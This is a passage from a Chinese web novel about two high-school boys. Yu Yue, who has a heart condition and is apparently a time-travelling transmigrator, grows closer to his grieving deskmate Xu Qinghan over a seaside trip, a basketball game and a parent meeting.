也是海带蛋花汤,但颜色和里面的食材都比食堂丰富太多。
许青翰点点头,也去盛了一碗回来,顺带着捎了两个勺子,给俞越碗里放了一个。
俞越正吐着一点舌头,给烫麻的舌尖晾凉,大着舌头对他说:“谢谢许waiter。”
许青翰:“……”
短短一段时间,俞越已经给他取了好多个外号称呼,许青翰莫名较上了劲,想给俞越也取一个,这样才公平。
但直到吃完煲仔饭,他一个也没想出来。
他从没有给别人取过外号和特殊称呼,绞尽脑汁也想不出一个。
只能先带俞越去买衣服了。
商场里的衣服都太贵,逛了几家下来,动不动就几百块钱,甚至还有上千的,俞越赶紧牵着许青翰走了。
“这也太贵了,不买了,我也不缺那一件T恤,实在不行你送我一件你以前穿小的T恤得了。”
其实许延给的剩下的钱还有不少,但许青翰也没有强求,这笔钱既然给了俞越,支配权就在他手里,比起买一件价贵的衣服,不如改善一下他的伙食,别再啃馒头了。
时间还早,好不容易来这边一趟,两人又在商场逛了会儿。
见俞越在电玩城外徘徊了片刻,许青翰问:“要不要进去玩?”
俞越摇了摇头,“太刺激了,心脏受不了。”
他以前和孙旺去电玩城玩过,玩了没一会儿就觉得心脏负荷过重了,一是因为有不少运动的项目,特别消耗体力,没玩一会就觉得累,二是因为刺激的情绪,太容易激动。
许青翰本来就容易乱掉他的心跳,不敢想象和他一起去电玩城玩一圈他还能不能竖着出来。
许青翰十分满意他的回答,没再像咖啡和冰可乐那样,桌角便利贴的总结还是很有用的。
“那就换个地方。”
俞越盯着电玩城牌子上的浪花图案,小声嘀咕:“商场里都是消
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费陷阱……要不我们去海边逛逛吧。”
溟市临海,许青翰小时候住的地方就距离海比较近,经常会去海边玩。
那时候母亲还在,每次他都会缠着母亲,带上塑料桶和小铲子去海边玩沙,还能抓到寄居蟹。
母亲去世之后,原来的房子被许延卖掉了,他也很少会去海边,因为那边的路他太熟悉,会控制不住情绪的滋长发酵。
有俞越在,应该会好很多吧。他想。
“好。”
没想到海边也有“消费陷阱”。
俞越还很没面子地掉入了消费陷阱里面。
许青翰陪着他一起坐在写漂流瓶的长椅上,接过商贩给的一张纸和一支笔,有些不知道写什么好。
他下意识看向俞越,却被俞越反应很快地用手捂住了面前的纸张,怕自己写下的内容会被他看见,像母鸡护小鸡仔似的。
生怕他再偷看,俞越带着纸笔坐到了隔壁的桌子。
“写你的,不要偷偷看我的,被人看见就不灵验了。”
许青翰:“……”
许青翰没办法,只能继续绞尽脑汁。
钱都已经付了,总得写点什么。
不远处就是一望无际的海平面,与天连在了一起,看不见尽头是什么,耳边隐约能够听见浪花拍打着礁石的声音。
曾经的他也有许多梦想。
与音乐有关,与篮球有关,与物理有关……
现在的他却成了一具空壳,好像什么都不会让他感觉到开心了。
如果可以,他想开心一点。
他正准备写下这句,便见隔壁桌的俞越忽然站起身,手里拿着已经装好的漂流瓶,弯着眼睛看向他,“写好了吗?”
“……还没。”
“那你继续写,先不打扰你。”
“嗯。”
闲来无事,俞越去找商贩唠嗑去了,距离得很近,对话一句一句钻进许青翰的耳朵里面。
“老板,这里能见到信天翁吗?”
“能,但是很看运气,毕竟是国家一级保护动物,数量不多。”
“嚯,一级保护动物呢。”
许青翰:“……”
许青翰感觉到俞越的视线朝他这边落了过来,可以想象待会儿他又要怎么用“国家一级保护”动物来打趣他了。
没来由地,他的唇角忽然上翘了一下,又很快被他压了下来。
手里的笔尖一转,洋洋洒洒写下了一行字。
【俞越所愿皆成——许青翰留】
算是钻了个漏洞。
因为俞越的攻略对象是他。
俞越所愿的,有一份他。
13. 第 13 章
见许青翰将写好的纸条卷起放入瓶中,俞越三步并作两步走了过来,和他一起将漂流瓶投放进了海里。
小小的瓶子被海浪卷吞,不知道会飘去何处。
“我以前在海边捡到过一个漂流瓶。”俞越冷不丁开口。
“嗯?”许青翰看向他。
“我打开看了一眼,里面写着‘xx和xxx会永远在一起’,下面还按着一对手印,我又装了回去,重新丢进了海里,不知道他们现在怎么样了。我还特地在网上搜索过那两个名字,但什么也没搜到。”
许青翰的重点却落在了最后一句,问:“你那个手机能联网吗?”
俞越:“……”
俞越很想说一句“服了你这个不解风情的物理男”,踢了一脚碎石发泄,回道:“不能,漫游挺贵的,我以前都是蹭孙旺的手机玩儿,这个手机是奶奶留给我的,我不想换掉。”
许青翰点点头,觉得也挺好,要是有个智能手机,他怕俞越上课也要偷偷在手机上看小说,没几天就被班主任给没收了。
俞越不知道他心里在想什么,深呼吸一口,将话题掰了回来:“许青翰,你喜欢什么样的人啊?”
朋友之间,会聊这些也很正常。
“不知道,”许青翰却对这个话题并不感兴趣,“长大再说吧。”
俞越嘴唇翕动了一下,却没再说什么。
十七八岁的年纪,半大不小,今后还有很长的光阴要走。
俞越忽然沿着海岸快步走了起来,许青翰赶紧跟上。
起初他只是静静跟着,想看看俞越打算去哪儿,可是跟了会儿也没见他有任何目标的样子,终于忍不住问他:“去哪儿?”
“去找国家一级保护动物。”俞越头也不回,声音顺着海风朝后洒来。
许青翰:“……”
许青翰又跟着他走了会儿,俞越忽然停下脚步,指着一个飞鸟问:“那个是不是?”
许青翰顺着望去,“不是,那就是普通的海鸥,信天翁比那个大很多。”
俞越悻悻收回视线,又沿着海岸走了会儿,再次停下脚步,直接坐在了礁石上面。
“怎么了?”许青翰在他身边停下。
“走不动了。”俞越抬眸看他,呼吸比平常要快一些,一双眼睛像小狗一样,透着几分可怜。
许青翰没忍住笑,也在他的身边坐下。
“你见过信天翁吗?”俞越问。
“见过。”许青翰答。
“漂流瓶老板说那是国家一级保护动物,特别少见,你在哪儿见到的?”俞越眼睛亮了起来。
“小学的时候,我想去海上玩,我妈有个朋友经常出海,就一起去了,没想到我特别晕船,差点晕吐,当时就快要吐了,我妈突然很惊喜地叫我,说‘看!青翰!信天翁!’,我生生忍住了。那鸟长得挺呆的,翅膀很大,见到我们靠近直接飞走了,飞得特别快。”
“也就见过那一次,确实不好碰见,得去海上才行,它们一生中有80%的时间都在海上飞,很少着陆。”
“不累吗?一直飞的话。”俞越问。
“应该…不累吧,它们的翅膀很发达,抻开能达三米多长,能飞过很远的海域。”
“信天翁是怎么叫的?”俞越又问,像个好奇宝宝。
许青翰思忖了片刻,“…不知道。”
他正想拿出手机搜一下信天翁的叫声,便见俞越忽然弯下眼睛,模仿起了他方才的语气:“不知道不知道。”
许青翰:“……?”
“不知道不知道不知道。”俞越笑得一脸欠揍。
许青翰没傻到看不出来俞越是在开他的玩笑,觉得好气又好笑,想让他别再说这三个字模仿劳什子信天翁的叫声了,下意识抬手,捂住了他的嘴巴。
“不知道不…唔……”
许青翰的手掌很大,覆住了俞越大半张脸。
两人本就坐在一方小小的礁石上面,离得近极了,这番动作下来,几乎贴在了一起。
俞越下意识屏住呼吸,眼睫快速颤动起来,整张脸都在以肉眼可见的速度泛红。
许青翰后知后觉到不对劲,赶紧松开了手。
俞越垂下脑袋,大口大口呼吸起来。
“你…我…不是故意的,你还好吗?”许青翰以为他不小心捂住了俞越的口鼻,让他没办法好好呼吸,憋红了脸,手忙脚乱地又给他顺了顺背。
俞越摇摇头,视线落在自己的鞋子上面,声音小如蚊蚋:“没事。”
过了会儿,感觉脸上的温度开始下降,他才抬起脑袋,看向还在给自己顺背的许青翰,说:“有只寄居蟹从我脚边跑到你的脚边了。”
许青翰:“……?”
许青翰实在是有些佩服他话题跳转的速度,顺着他的视线望去,发现自己的鞋子旁边果然贴着一只小小的寄居蟹。
许青翰伸出手,想要抓住它的壳,却被它抢先一步逃走了。
俞越笑着说:“手速不行啊。”
许青翰胜负心上来了,站起身,一口气给俞越抓回来了三只寄居蟹。
献宝般向他展示的时候,一只寄居蟹忽然用钳子夹住了他的手。
许青翰疼得一嘶。
俞越赶紧将他手里的寄居蟹拿走,放回了沙滩上面,再看向他的掌心,一道小小的口子正在往外渗出鲜血。
幸好附近有卖碘伏的药店,俞越一边念叨,一边用棉签蘸取碘伏给他涂在伤口处。
“许学神,你不知道蟹类有钳子会夹人吗?”
许青翰:“……”
他自然是知道的,小时候他在沙滩上面也被夹过。
但刚才俞越笑他手速不行,他满脑子都是想要向他证明自己,根本无暇去想其他。
如今被俞越这么一打趣,他更不知道怎么回应了。
一时间,掌心的疼痛没有任何消减的趋势,许青翰破罐子破摔,生硬地转移着话题:“好疼……”
疼得说不出话也正常。
俞越拿他没办法,涂完合上碘伏的盖子,轻轻攥住他的手腕,凑近伤口处吹了吹,一边吹,一边故意配音说:“呼呼,痛痛飞。”
许青翰:“……”
许青翰很想将自己的手抽回来,但又觉得被俞越吹过之后疼痛感好像真的减缓了一些,最后只是将视线匆匆撇开了。
湿咸的海风撩动树影,和少年的衣摆。
-
因为许青翰的掌心受伤,返校的路上,俞越顺利接管了他的单车。
俞越的那句“我也会骑”没骗人,但技术实在是不太行,载人就更勉强了,车头控制得歪歪扭扭。
许青翰双手环住他的腰才能稍稍得到一点不被甩下去的安全感,偏偏俞越骑得特别认真,没有任何想要放弃的念头,一时间他也不好说些什么。
好在俞越上手得很快,骑了几分钟后就稳妥多了,没有真的闹到两个人一起翻车的下场。
终于到了学校,许青翰狠狠松了口气。
俞越却喘起了气,骑单车也挺消耗体力的,没想到这么一截路会喘成这样。
“你多久没骑单车了?”许青翰问。
俞越主动将车停进车棚上锁,小声回答:“还差两个多月满两年。”
“怎么还有零有整的。”许青翰觉得有些好笑。
俞越已经给车上好锁,直起了身,没理会他的这句打趣,头也不回地走了,“又没给你摔着,走吧,回去自习。”
天际已经渐渐开始铺起了晚霞,他们是在海边吃了点小吃回来的,得益于许青翰的陪伴监督,俞越已经将周末的作业写得差不多了。
说是回去自习,实则趁着晚自习还没开始偷偷看起了小说。
是凌梅梅那天给他的那本小说的第二册,前天刚分享给他,他还没有看完。
许青翰依旧坐在他的身边写竞赛题。
俞越看会儿小说便要看他一眼,实在是一点儿看不懂他手里的竞赛题。
终于,他忍不住问:“许青翰,你为什么这么喜欢物理啊?”
他知道许青翰的保送就是通
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过物理竞赛,将来在大学也会继续物理领域的深造。
“感觉很有意思,”许青翰声音顿了顿,转眸看向他,“想看看宇宙以外的世界。”
俞越感觉到了许青翰的话里有话,想起了那本故意让许青翰看见的日记,顺势问:“如果能穿越时空,你最想去什么样的地方?”
许青翰注视着他的眼睛,缓缓说道:“想回到初一,不吵着跟我妈说生日非得要那个模型,她就不会赶那班飞机遭遇那次空难了。”
俞越听罢没有任何惊讶的表情,显然早就知道这些。
那一年的空难传遍了全国,很少有人没听说过。
那时候他刚上初一,出事不久,班上就有不少学生知道了他的母亲就是空难中不幸离世的一员,这件事也很快在学校里传开了。
不过他们并不知道母亲是为了帮他买模型庆生耽搁了时间才改签那个航班的。
许延知道,所以才会将气撒在他的身上,他也无从辩驳。
这次换俞越将手搭上了许青翰的背,在上面轻顺了顺,宽慰道:“谁也预料不到意外会发生,不是你的错。”
“就像——”
“今天下午在海边的时候,如果不是我说有只寄居蟹从我脚边跑到了你的脚边,笑你手速不行,你的手也不会被夹。”
“你会怪我吗?”
许青翰抿下唇,摇了摇头。
伤口已经不怎么疼了,被海风和俞越吹过,留下了一圈干透的碘伏颜色。
俞越放软声音:“可是我挺后悔的,要不是我说那些话,你就不会被夹了,我那时候特怕你会怪我。”
许青翰下意识回道:“不关你的事。”
说完沉默了很久。
俞越又在他背上顺了顺,没再说什么,道理谁都懂,得自己想开才行。
感受着背部温柔的力量,良久,许青翰怔怔然问:“真的能穿越时空吗?”
像是在自言自语,像是在求助。
俞越是穿越者的话,能带他回到过去吗?
他还从没有想过这个。
因为他对俞越的来历、能力一无所知,人很难想象认知以外的东西。
背上的手却垂了下来,俞越没有回答,而是反问道:“物理学是怎么说的?”
许青翰想了想,答:“理论上说如果能超越光速,或许就能穿越时空。还有虫洞、宇宙绳什么的。”
俞越问:“也能回到过去、改变过去吗?”
许青翰却不说话了。
大多数人都对“祖父悖论”并不陌生——如果一个人穿越回了过去,杀死了自己的祖父,那么这个人还能存在吗?
要是轻易能够穿越回去,俞越为什么不穿越到初一这个节点,改变他的人生,而是在高中降临。
过去现在未来。
他为什么偏偏出现在了“现在”。
他感觉脑子变得非常混乱。
“许青翰,朝前看。”俞越的声音将他稍稍带回现实。
朝前看……
前面等着他的是能让他暂时逃避的遥远北方学校。
等离开后,他不会再回溟市了,纵跨那么多公里,许延的手伸不来那么长,张可蓉肯定也不希望他回去,会在其间加以阻拦,他能渐渐脱离那个恶心的家。
可以好好喘口气了。
但,那时候俞越是不是已经离开了?
不知怎的,他忽然很舍不得俞越离开。
“你呢?”他听见自己的声音这样问。
“嗯?”俞越不解地歪了一下脑袋。
“如果能穿越时空,你最想去什么样的地方?”许青翰重复了他方才的话。
他很好奇,他都去过哪些世界,喜欢哪个世界,最后又会回到什么样的地方。
“啊…我好像没什么想去的地方。”俞越视线落回小说上面,手指捻起下一页纸,欲翻不翻。
就在许青翰以为他不会说再多的时候,声音却在翻页声里再次响起。
“顺顺利利走完这个世界就好。”
14. 第 14 章
“安静,安静——”
“明天早上我一个个来收作业,没写完的通通去外面罚站补完再进教室。”
陈劲一通威胁,晚自习刚打铃的教室瞬间安静下来,就只剩下了翻动纸张和笔尖在纸上摩擦的声音。
周日的晚自习一般用来给学生们补作业,俞越因为作业都已经写得差不多了,又开始昏昏欲睡起来。
可能是因为今天白天跑了太多地方,消耗了太多体力,觉得身体很累。
但为了晚上不失眠,俞越强撑着没有在晚自习上睡觉,偷偷摸摸写了会儿日记。
陈劲今天晚上喝了点酒,一直坐在讲台上面,没有下来巡视,写日记的动作并不会引起他的怀疑。
俞越写完日记,仔细收进了书包里面。
许青翰余光瞥见了熟悉的日记本封面,极力按耐住心底的好奇,思绪却变得飘忽起来。
他好想知道俞越的日记后面写了什么,想知道他的任务进度,想了解更多与穿越者俞越有关的信息。
窥私欲和道德打起了架。
在他心底一阵乒乒乓乓。
晚自习下课铃声刚响,他便起身去了操场,绕着操场跑了几圈纾解,跑到下节晚自习上课铃响了好几分钟才气喘吁吁地回来。
讲台上的陈劲抬起眼皮子看他一眼,没管太多。
俞越疑惑地在草稿纸上写下一句“你去哪儿了”推给了他。
许青翰回:“跑步。”
俞越:“精力真旺盛。”
许青翰看了一眼,没再回他。
俞越继续在草稿纸上涂涂画画起来,许青翰余光没忍住在上面落了几回,发现他画了一只翅膀很大的鸟,在海边一边跑一边叫:“不知道不知道不知道……”
许青翰:“……”
许青翰直接伸手,将他这张几乎已经写满的草稿纸揉成团,丢了。
俞越眼睛瞬间瞪圆,恨不得下一秒直接给他一口,愤愤的声音压得很低:“你赔我草稿纸。”
许青翰将一本全新的草稿本丢给了他。
俞越这才稍稍满意,转到另一边,继续画起了小画,不给许青翰看了。
-
晚上回去,许青翰在衣柜里翻了很久,终于翻到了一件穿小的T恤。
他个子高,初中的时候已经有俞越现在这样高了,身体也比俞越现在壮些。
这些年来穿旧的衣服他会和以前母亲还在的时候一样捐掉,但这件一直好好收着,保存到了现在。
他抖了抖,将T恤展开,卡通金毛的图案出现在了眼前,布着一点折痕,被他用手轻轻抚平。
这是初一的时候母亲网购的一件T恤,没想到尺寸偏大,但上面的图案生动,料子也很不错,想着他再长长就能正好穿上了,便没退货。
没想到后来一次都没有穿过。
以前只要是他的衣服,都会被元宝蹭上许多狗毛,无一幸免。他仔细在上面检查了好几遍,却连一根金色的狗毛也没发现。
眼底闪过不知是失落还是庆幸的情绪。
与其让这条T恤继续呆在衣柜里暗无天日,不如送给合适的人穿。
他将T恤重新叠好,装进袋子里面,周一给俞越带了过去。
其实应该洗一遍再给俞越的,毕竟在衣柜里放了那么久,但他不敢在家里洗,便在中午去了俞越的宿舍,给他搓了搓,晾晒在了阳台上面。
俞越很喜欢这件T恤,尺寸也正合适,第二天就穿在了身上,笑得跟条小狗似的,不吐舌头,但有一对酒窝。
周二下午有体育课。
俞越原本是不去操场的,因为这学期开始许青翰忽然就不打篮球了,训练结束就回了教室自习。他也早早跟体育老师说明了情况,不用参与体育课的训练,就算去操场也没事干。
但这段时间他和许青翰的关系拉近了很多,他想跟去操场,跟着许青翰。
体育老师照例让学生绕着操场跑两圈,简单拉伸之后就自由活动了。
今天天气很好,俞越坐在草地上面,盘着腿舒舒服服晒太阳,看班上的同学们绕着操场跑。
孙旺是跑得最快、最轻松的,像只快乐的傻狍子,经过俞越身边的时候不忘给他摆个不着调的造型,俞越笑着朝他翻了个白眼。
凌梅梅跑一段走一段,经过俞越身边的时候对他露出羡慕的神色。
许青翰跑得也很快,专心看向前方,没什么表情,经过俞越身边的时候冷不丁朝他投来了视线。
俞越也在看他,视线对上的瞬间许青翰便移开了。
最后一圈结束,俞越站起身,不紧不慢朝着许青翰的身边走去。
孙旺正在一边压腿,一边招呼人打篮球。
俞越听了,兴冲冲地对许青翰说:“好久没见你打篮球了,你也去呗。”
许青翰高一的时候是会和班上的男生在体育课上打篮球的,高二忽然就不打了,问就是要去刷竞赛题,孙旺他们也不好说什么。
俞越大概能猜到应该和秋季篮球赛有关,或者说和重点班那个张骁健有关。
可两次反击都很成功,为了那些讨厌的人扼制自己的喜好,实在是不值当。
他能看得出许青翰是喜欢篮球的。
许青翰嘴唇翕动了一下,陡然回想起了什么。
高一的时候,俞越好像每节体育课都不缺席,会在篮球场旁看他们打篮球,偶尔帮他们捡一捡球,那时候他没想太多,也没觉得俞越是想看自己打篮球。
高二开始,他不打篮球了,俞越也不上体育课了。
直到今天。
现在想来,还真的是疑点重重。
虽然不知道他的任务是什么,但事已至此,顺着他来准是没错的。
他也想不到任何拒绝的理由。
“行。”许青翰听见自己这样回答。
俞越有些惊喜。
时隔几个月,又能见到许青翰打篮球了。
俞越精挑细选了个风水宝地坐下,却见许青翰蹙着眉朝他的方向走了过来,下午的阳光斜斜的,将他的影子洒在他的身上,几乎完全笼住。
俞越正想问“怎么了”,便听许青翰说:“这里坐着不安全,可能会被球砸到。”
说罢,他环视一圈,指了指另一个地方,又道:“你去那里坐着吧。”
俞越顺着他手指的方向看去,发现是铁网门后,不管篮球怎么飞都会被门兜住,砸不到他,但位置实在算不上好。
俞越还想挣扎一下:“我以前就坐在这里看你们打篮球,一次都没有被砸中。”
许青翰:“墨菲定律:只要有可能,就绝对会发生。”
而且就算砸不到他,也可能会吓到他。
俞越:“……”
见许青翰一副不容置喙的态度,俞越怕自己不配合他就不打篮球了,还是乖乖转移到了他指的地方。
一个绝对安全,但像是被关在监狱里偷窥的地方。
幸亏他视力好,远远的也能看得很清楚。
班上几个男生也有段时间没和许青翰一起打篮球了。
不得不说,有了他的加入确实打得更尽兴些。
这也是他们为数不多与这位学神的接触时刻,人总是慕强的,他们也免不了落俗。
篮球场上,许青翰和平时生人勿近的气场很不一样,多了几分本该属于这个年纪蓬勃的少年气,完全融入了进去。
下课铃响,球场上的人皆是笑着气喘吁吁。
“许青翰,秋季篮球赛你参加吗?”有人问。
许青翰看了眼从铁门后走过来的俞越,身上还穿着那件卡通金毛的T恤,拍了下手里的篮球,视线随着篮球从地面弹射至掌心,稳稳接住。
“参加。”
原本他不想参加也只是因为不想撞上张骁健,觉得麻烦,抛开这个原因,他并不排斥篮球赛。
很久很久以前还在上小学的时候,他就参加过市里组织的比赛,那时候母亲还在,在观众席上为小小的他加油打气。
因为一些讨厌的麻烦就选择逃避,放弃自己喜欢的东西,确实太不应该了。
-
接下来的几周里,许青翰闲着没事便抽空和班上几个参加篮球赛的同学去球场上训练。
有一回还撞见了隔壁球场的张骁健。
孙旺不知道张骁健和许青翰的关系,但看得出他们不对付,也还记得食堂那次发生的事。
加上张骁健总是一副鼻孔朝天的姿态,莫名带着几分我是重点班的优越,暗地里,孙旺和俞越一起给张骁健取了个外号“骁健人”,谐音“小贱人”。
许青翰第一次听见的时候怔了会儿才反应过来,觉得这两人太有才了,以至于后来看见张骁健总是代入这个外号,有些想笑,搞得张骁健莫名其妙的,怕他在憋什么坏水,成天提防着他。
篮球赛前又落了几场雨,溟市的温度接连下降,好在亚热带季风气候的秋天循序渐进,没有一下子冷得太厉害。
可许青翰还是发现俞越的嘴唇有些发紫。
其实以前也有一点,心脏不好的人总能在嘴唇看出一点端倪,但以前没有这么明显,现在不仅仅是嘴唇,手指也能看出一点明显的紫,可能是因为最近的降温冻着了。
“俞越,你冷不冷?”许青翰坐
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上他身边的位置,冷不丁问。
这周他们换到了靠近窗户那排,俞越正托着腮看外面淅淅沥沥的雨,听见他这么问,疑惑地回答:“不冷,怎么了?”
许青翰忽然伸手,在他的手上贴了一下。
手不热,但也不冷,温温的。
他刚从洗手间用凉水洗过手回来,手上的温度还没有恢复,俞越手的温度与他的不相上下。
俞越反握住他的手,热情道:“你冷啊?来,我给你捂捂。”
没一会儿许青翰的手就变得特别暖和起来。
俞越的手还是老样子,沾染了一点他的体温,很快就散去了。
许青翰起身去水房给自己和俞越接了两杯热水回来。
-
篮球赛这几天都是晴天,温度也回升了一点,球场上的积水早已蒸发殆尽,为比赛提供了不错的环境。
前两场比赛都很顺利,俞越拿着许青翰的外套,和拿着孙旺外套的凌梅梅站在一起,激动地欢呼着每一场胜利。
没想到第三场真的对上了张骁健所处的重点班。
不过也没什么好怕的。
这段时间训练的时候,孙旺偷偷摸摸视奸了高二其他班的配合,并给不同的班级估了分——
重点班一班都是弱鸡,连训练都少,天天呆在教室里学习,不足为惧。
重点班二班,也就是张骁健所处的班级,倒是经常训练,不过能力大多一般,只有一个体委厉害一点,需要注意。
……
文科班十三班有三个学体育的,打篮球都很猛,配合得也好,打不过打不过,只能许愿不要太早和他们对上。
他们班其实也是业余凑出的队伍,满满当当连个正儿八经的替补都没有。
俞越其实还是有一点担心的。
他希望能赢,不仅仅因为集体荣誉,还因为许青翰。
是他将许青翰推上赛场的,这也是许青翰在溟市、在高中的最后一场篮球赛了,对手还是骁健人,他不希望他留下任何遗憾。
他什么也做不了,只能在场外加油打气,甚至嗓门还没有凌梅梅大。
接过许青翰丢过来的外套,看着他们走上球场,俞越因为紧张心跳开始不受控制地加速起来。
“加油啊。”他冲穿着队服的背影喊了一声。
许青翰转过头看他一眼,朝他笑了一下。
得知这场比赛抽中的对手是谁后,队里被孙旺带动着偷偷地喊起了口号:“打倒骁健人!”
张骁健不知从哪听说了这个外号,气得不轻,连带着他们班上一些看他不顺眼的同学也开始叫起了他的这个外号。
许青翰倒是没什么情绪波动,墨菲定律就是这样,越不想发生什么,越会发生什么。
他也早就做好了准备。
裁判鸣哨后,比赛正式开始。
起初比分咬得很紧,俞越抱紧了些怀里的衣服,心脏在胸腔里撞个不停。
没多久,他们班因为一个同学的失误,被罚了球。
身边的凌梅梅叹了口气:“唉。”
俞越唇线紧抿,不经意与场上的许青翰视线交了一瞬。
许青翰没什么表情,因为还在比赛,并没有分心,不再看向场外,更专心了。
球权转移,新一轮开始。
俞越心脏撞得更厉害了。
他的注意力一直落在球场上,忽略了球场外的一切。
围观的学生太多,不知道被谁太激动撞了一下,俞越险些没站稳。
胸腔被挤压,一股难以言说的闷感像黏膜一样将他完全包裹,空气被大肆剥夺,他下意识后退几步,大口大口呼吸起来。
情况并没有因为远离人群有所减缓。
身前忽然响起一阵欢呼。
俞越一边摸口袋内的小药瓶,一边眯起眼去瞧。
好像是许青翰进球了,比分领先了。
他想重新挤进去看,但心跳得快极了,没有一点规律,像是要跳到嗓子眼里,头也被震得晕乎,身体很难保持平衡。
他坐到了后面的草坪上面,干咽下药片,努力控制呼吸。
通过幢幢人群,他眯着眼睛,看着球场上的身影。
因为刚才的进球,情况好转了起来,比分开始慢慢拉开。
俞越长长舒出一口气,下巴枕上了怀里的外套。
-
一个漂亮的三分投入。
拉开的分数和所剩无几的时间几乎已经定下了结局。
许青翰下意识望向俞越的位置,却只看见了兴奋尖叫的凌梅梅。
原本站在她身边的俞越不见了。
15. 第 15 章
几分钟后,许青翰才看见从食堂方向走过来的俞越,手里拿着他的外套和一瓶饮料。
看得出他想快步冲过来,但走太快会喘得厉害,只能用眼睛告诉他:我来了我来了我来了。
许青翰当即朝他的方向小跑了过去。
很快便来到了他跟前。
“你去哪儿了?”
“我看后来比分拉得很大,必赢,就给你买饮料去了,喝矿泉水也太寡淡了。”
俞越一边将饮料递给他,一边给他披上了外套。
许青翰将饮料拧开,喝了一口。
是西柚味的脉动,很好喝。
俞越的呼吸比平时要快一些,许青翰注意到了,但没想太多。
孙旺也跟凌梅梅从热闹中心凑了过来。
孙旺:“小俞你去哪儿了?错过了一场好戏。”
“什么?”俞越以为是错过了篮球赛的胜利。
凌梅梅接着他的话说:“刚有三个女生给许青翰送水呢,修罗场啊修罗场。”
俞越下意识看了眼正在喝饮料的许青翰,也跟着笑:“他接了谁的吗?”
许青翰:“……”
“谁的也没接。”孙旺摇头晃脑,也发现了许青翰手里的饮料,问:“哎,这脉动谁送的?”
不待俞越回答,许青翰便指了指他,说:“他。”
孙旺:“哦哦,我说你去哪儿了,原来是买饮料去了。我的呢?”
俞越有些心虚。
刚才吃了药坐在草坪上缓了会儿,情况渐渐好转,他又到附近的食堂休息了片刻,喝了点热水,心悸得没那么厉害了,匆匆买了瓶饮料作掩饰就回来了。
以前不是没出现过这样的情况,这次是因为太紧张、太担心、太焦虑了,他这样的身体情况本来就不适合激烈的情绪波动。
但见孙旺手里拿着电解质水,俞越很快回击道:“凌梅梅不是给你买了电解质水吗?做人不要太贪心。”
孙旺犟上了:“许青翰还有三个女生送水呢。”
俞越:“……”
许青翰:“……”
俞越:“不和你说了。”
直接牵着许青翰离开了。
孙旺在身后叫嚷:“我们不是天下第一好朋狗吗?”
俞越毫不客气:“你自个当狗去吧。”
凌梅梅乐得不行,笑出了鹅叫。
待走远些,俞越顺势坐在了一条长椅上面,走不动了。
许青翰也跟着坐下。
身后就是一株很大的桂花树,金灿灿撒了一地,被暖阳一照,香味更浓郁了。
“那三个女生怎么样?”俞越冷不丁问。
许青翰:“……”
许青翰:“我都不认识她们。”
俞越又问:“你能看得出孙旺和凌梅梅的那点暧昧吗?”
许青翰啊一声,面上浮现茫然震惊的表情。
俞越看出了答案,深深叹了口气,“真是不解风情的物理男。”
许青翰:“……”
许青翰想要辩解,却又无从辩解,他确实没看出来,在这方面也很迟钝。
俞越也没说太多,视线落上脚间那几朵小小的被风吹下的桂花,声音喃喃:“早恋其实不好。”
许青翰认同地嗯一声。
俞越笑着看向他:“你嗯什么,真怕你和物理过一辈子。”
许青翰煞有其事地想了想,说:“也挺好,说不定就研制出了时光机。”
“那你加油,许因斯坦。”
“……”
-
秋季篮球赛最后以抽到对手为十三班失败告终,但所有人都觉得特别充实,收获很多。
孙旺大剌剌地说:“没事儿,高三还有一场,再战!”
许青翰默默穿上自己的外套,混在人群里面,没有说话。
以前他巴不得尽快离开这里,现在好像多了些留住他的东西。
但离开是注定的,或许等他成长到足够强大了,会回来看看吧。
因为那个外号,加上输了比赛,张骁健的情绪很不好,但因为紧随而来的期中考试,倒是没空作什么妖。
开学考试他掉到了50名开外,这半学期一直想方设法追上,期中考试对他尤为重要。
期中考试成绩在第二周出来,刚打印出来排名表,陈劲便让班长贴在了黑板旁边。
很快一圈人便里三层外三层地围了过去。
俞越也想去瞧,但人太多,不想挤,只能耐心等人散。
似是察觉到他的小动作,许青翰忽然起身,朝黑板的方向走去。
没多久他便回来了,对俞越说:“比开学考进步了9名。”
俞越眨了眨眼,有一点开心,“多亏了你啊,同桌。”
许青翰觉得自己其实也没做什么,也就监督了一下俞越上课不睡觉罢了。
想了想,他说:“你要是想进步,我还能帮你提升更多。”
俞越飞快摇头,“不用不用,顺其自然就行。”
说完他便打开水杯抿了一口,不再去看许青翰。
许青翰也没再说什么。
这段时间他没再接触到任何日记本相关,那个“绝妙的计划”他也没有看出是什么。
但他能感觉得到他轻松了许多,快乐了许多。
如果俞越的任务与之有关,那么任务进度肯定是在不断前进的。
与此同时,他的离开也在倒计时。
许青翰说不清心中的感觉。
他舍不得俞越离开,不想失去俞越这个朋友,这个世界上最了解他的朋友。
可他自己也要离开了。
俞越一直在帮助他,他总不能恩将仇报,将俞越圈禁在这里。
时间不多了,他必须配合俞越完成任务才行。
突如其来的上课铃声打断了一切思绪,不多久,陈劲便卷着本物理书走了进来。
因为刚贴成绩,教室里还在叽叽喳喳讨论着,陈劲用物理书敲了敲桌子。
“安静——安静——”
教室这才安静下来。
针对这次的成绩,陈劲简单分析了几分钟,又宣布了一个让大多数学生发愁的消息:“我打算借着这次期中考试的成绩开一次家长会,时间定在这周末,我会通知家长们,你们回去也跟家长说一下,不要缺席。”
俞越和许青翰的表情都不太好看。
奶奶去世之后,俞越已经没有家人了,决定装傻蒙混过关,等家长会这天再跟陈劲解释。
许青翰则回去跟许延说了这件事。
他怕自己不说张可蓉会擅作主张自己来开家长会,他宁愿许延参加。
好在许延还是挺乐意参加的,毕竟许青翰的成绩很给他长脸。
-
家长会这天,俞越久违地见到了孙旺的妈妈。
是个很温柔的阿姨,一早就过来了,拉着俞越说了好一会儿话,还埋怨孙旺怎么都不带俞越回去做客了。
以前初中的时候,俞越偶尔会去孙旺家玩,孙旺的家人会留他吃顿饭,孙旺偶尔也会去俞越家玩,俞越的奶奶也会留孙旺吃顿饭。
高中之后,孙旺家在学校附近租了房子陪读,俞越却没再去过他家玩儿了。
俞越笑着说:“不关孙旺的事,高中学业太重了,有点抽不开空。”
孙旺妈妈唉一声,“学习重要,也要注意身体哦。”
俞越忙不迭点头。
孙旺妈妈坐在了孙旺的位置上,很快便与同桌的凌梅梅妈妈聊了起来。
孙旺和凌梅梅站在教室外面看了会儿,有些忐忑,一前一后到食堂买零食去了。
俞越没有跟他们一起去食堂,他在等许青翰,许青翰还没有来。
没想到没等来许青翰,等来了一个很不想见到的人。
是个五十来岁的男人,穿着泛旧的外套,一条腿有些跛,嘴里还叼着根已经快抽完的烟。
看见俞越,他加快了些脚步,走了过来。
俞越下意识后退一步,却又想起自己还在等许青翰,更何况逃也不是事儿。
